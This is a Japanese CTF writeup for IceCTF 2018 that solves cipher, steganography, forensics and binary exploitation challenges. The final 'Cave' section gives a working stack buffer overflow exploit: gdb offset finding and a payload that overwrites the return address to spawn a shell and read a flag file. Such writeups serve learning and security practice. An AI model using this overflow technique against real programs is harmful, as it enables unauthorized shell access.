この大会は2018/9/7 1:00(JST)~2018/9/14 1:00(JST)に開催されました。
今回もチームで参戦。結果は 3035点で2460チーム中43位でした。
自分で解けた問題をWriteupとして書いておきます。
garfeld (Cryptography 100)
添付のファイルに暗号の情報が書かれている。
中央下部の文字列が明らかにフラグの暗号。先頭がIceCTF{になるよう復号するためには07271978はシフト数と考えればよさそう。
import string enc = 'IjgJUO{P_LOUV_AIRUS_GYQUTOLTD_SKRFB_TWNKCFT}' nums = map(int, list('07271978')) flag = '' idx = 0 for c in enc: if c in string.uppercase: code = ord(c) - nums[idx%len(nums)] if code < ord('A'): code += 26 flag += chr(code) idx += 1 elif c in string.lowercase: code = ord(c) - nums[idx%len(nums)] if code < ord('a'): code += 26 flag += chr(code) idx += 1 else: flag += c print flag
IceCTF{I_DONT_THINK_GRONSFELD_LIKES_MONDAYS}
Ancient Foreign Communications (Cryptography 300)
暗号は以下のようになっているので、まずはバイナリとしてファイルに起こす。
E2 A8 85 5D 5D E2 8C 9E E2 8C 9E E2 8C 9F 5B E2 A8 86 5D E2 8C 9F 5D 5D 5D E2 A8 86 E2 A8 86 E2 A8 86 E2 8C 9C 5B 5B 5B E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9E E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9D E2 A8 86 E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9E E2 8C 9E E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9F E2 8C 9D E2 8C 9D E2 A8 85 E2 A8 85 E2 8C 9E E2 8C 9E E2 A8 86 5B 5D 5D 5D E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9D 5D 5D E2 8C 9F 5B 5B 5B E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9F E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9D 5D 5D 5D E2 8C 9E E2 8C 9E E2 8C 9E E2 8C 9D E2 8C 9D E2 8C 9D E2 A8 86 5D E2 8C 9E E2 8C 9E
with open('comms.txt', 'rb') as f: data = f.read().strip().split(' ') b_data = '' for i in range(len(data)): b_data += chr(int(data[i], 16)) with open('out.txt', 'wb') as f: f.write(b_data)
ファイルにしたものをUNICODE対応したエディタで見る。
⨅]]⌞⌞⌟[⨆]⌟]]]⨆⨆⨆⌜[⌝⌝⌝⌞⌝⌝⌝⌝⨆⌝⌝⌝⌞⌞⌝⌝⌝⌝⌟⌝⌝⨅⨅⌞⌞⨆[]⌝⌝⌝⌝]]⌟[⌝⌝⌝⌝⌟⌝⌝⌝⌝]⌞⌞⌞⌝⌝⌝⨆]⌞⌞
メッシュ暗号にも似ているが、ドットがない。ただ3×3のマスの部分を表しているように見える。タイトルからも想像できる古典暗号によくあるものを思い返してみると、ガラケーとかのキーパッドを使った暗号があった。先頭から変換してみる。
例) ⨅:真ん中の下 ⌞:右上
左上は該当する文字がないので無視。さらに意味が通るようにスペースを入れる。
the magic words are squeamish ossifrage
IceCTF{squeamish ossifrage}
Drumbone (Steganography 150)
StegSolveでBlue plane 0を見ると、QRコードが見える。
1,0のテキストに変換する。
from PIL import Image img = Image.open('blue_plane_0.png').convert('RGB') w, h = img.size UNIT_WIDTH = 6 UNIT_HEIGHT = 6 qr = '' for y in range(1, h, UNIT_HEIGHT): for x in range(1, w, UNIT_WIDTH): r, g, b = img.getpixel((x, y)) if r == 0 and g == 0 and b == 0: qr += '1' else: qr += '0' qr += '\n' with open('qr.txt', 'w') as f: f.write(qr)
$ python sqrd.py qr.txt IceCTF{Elliot_has_been_mapping_bits_all_day}
IceCTF{Elliot_has_been_mapping_bits_all_day}
Lost in the Forest (Forensics 300)
添付ファイルはファイルシステムの一部が含まれているような感じ。
homeディレクトリにあるユーザはhkrのみ。そこの.bash_historyに何かヒントになるようなコマンドの記録がないか見てみる。
$ cat ./home/hkr/.bash_history : wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp : mv eRkjLlksZp tool.py : ./tool.py ../secret > ../hzpxbsklqvboyou :
実際にこのtool.pyを入手する。
cat ./home/hkr/hzpxbsklqvboyou 8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT $ wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp --2018-09-08 10:37:42-- https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp gist.githubusercontent.com (gist.githubusercontent.com) をDNSに問いあわせています... 151.101.72.133 gist.githubusercontent.com (gist.githubusercontent.com)|151.101.72.133|:443 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... 200 OK 長さ: 364 [text/plain] `eRkjLlksZp' に保存中 eRkjLlksZp 100%[===================>] 364 --.-KB/s 時間 0s 2018-09-08 10:37:43 (42.6 MB/s) - `eRkjLlksZp' へ保存完了 [364/364] $ cat eRkjLlksZp #!/usr/bin/python3 import sys import base64 def encode(filename): with open(filename, "r") as f: s = f.readline().strip() return base64.b64encode((''.join([chr(ord(s[x])+([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)[x]) for x in range(len(s))])).encode('utf-8')).decode('utf-8')[::-1]*5 if __name__ == "__main__": print(encode(sys.argv[1]))
この情報を使って、hzpxbsklqvboyouのデータを復号する。
import base64 def decrypt(s): s = base64.b64decode(s[:len(s)/5][::-1]) return ''.join([chr(ord(s[x]) - ([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)[x]) for x in range(len(s))]) with open('hzpxbsklqvboyou', 'r') as f: enc = f.read().strip() flag = decrypt(enc) print flag
IceCTF{good_ol_history_lesson}
Cave (Binary Exploitation 50)
ソースが提供されている。
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> void shell() { gid_t gid = getegid(); setresgid(gid, gid, gid); system("/bin/sh -i"); } void message(char *input) { char buf[16]; strcpy(buf, input); printf("The cave echoes.. %s\n", buf); } int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./shout <message>\n"); } return 0; }
入力をstrcpyでコピーして、printfに渡している。ここにスタックオーバーフローの脆弱性がある。
入力値を大きくしていくと、関数の戻り先のアドレスを上書きするはず。その場所を確認する。
[adversary ~]$ cd cave [adversary ~/cave]$ ls flag.txt Makefile shout shout.c [adversary ~/cave]$ gdb -q shout Reading symbols from shout...(no debugging symbols found)...done. (gdb) set arg `python -c "print('A'*20)"` (gdb) run Starting program: /home/adversary/cave/shout `python -c "print('A'*20)"` The cave echoes.. AAAAAAAAAAAAAAAAAAAA [Inferior 1 (process 200) exited normally] (gdb) set arg `python -c "print('A'*30)"` (gdb) run Starting program: /home/adversary/cave/shout `python -c "print('A'*30)"` The cave echoes.. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x08004141 in ?? ()
30バイト入力すると半分変わっている。29-32バイトが戻り先のアドレスを格納している場所と思われる。
今度はshellのアドレスを取得する。
(gdb) p &shell $1 = (<text variable, no debug info> *) 0x804850b<shell>
戻り先のアドレスを書き換えるように実行すると、shellが取れ、フラグを取得できた。
[adversary ~/cave]$ python -c "import os; arg = 'A' * 28 + '\x0b\x85\x04\x08'; os.system('./shout ' + arg)" The cave echoes.. AAAAAAAAAAAAAAAAAAAAAAAAAAAA � sh-4.4$ cat flag.txt IceCTF{i_dont_think_cavemen_overflowed_buffers}
IceCTF{i_dont_think_cavemen_overflowed_buffers}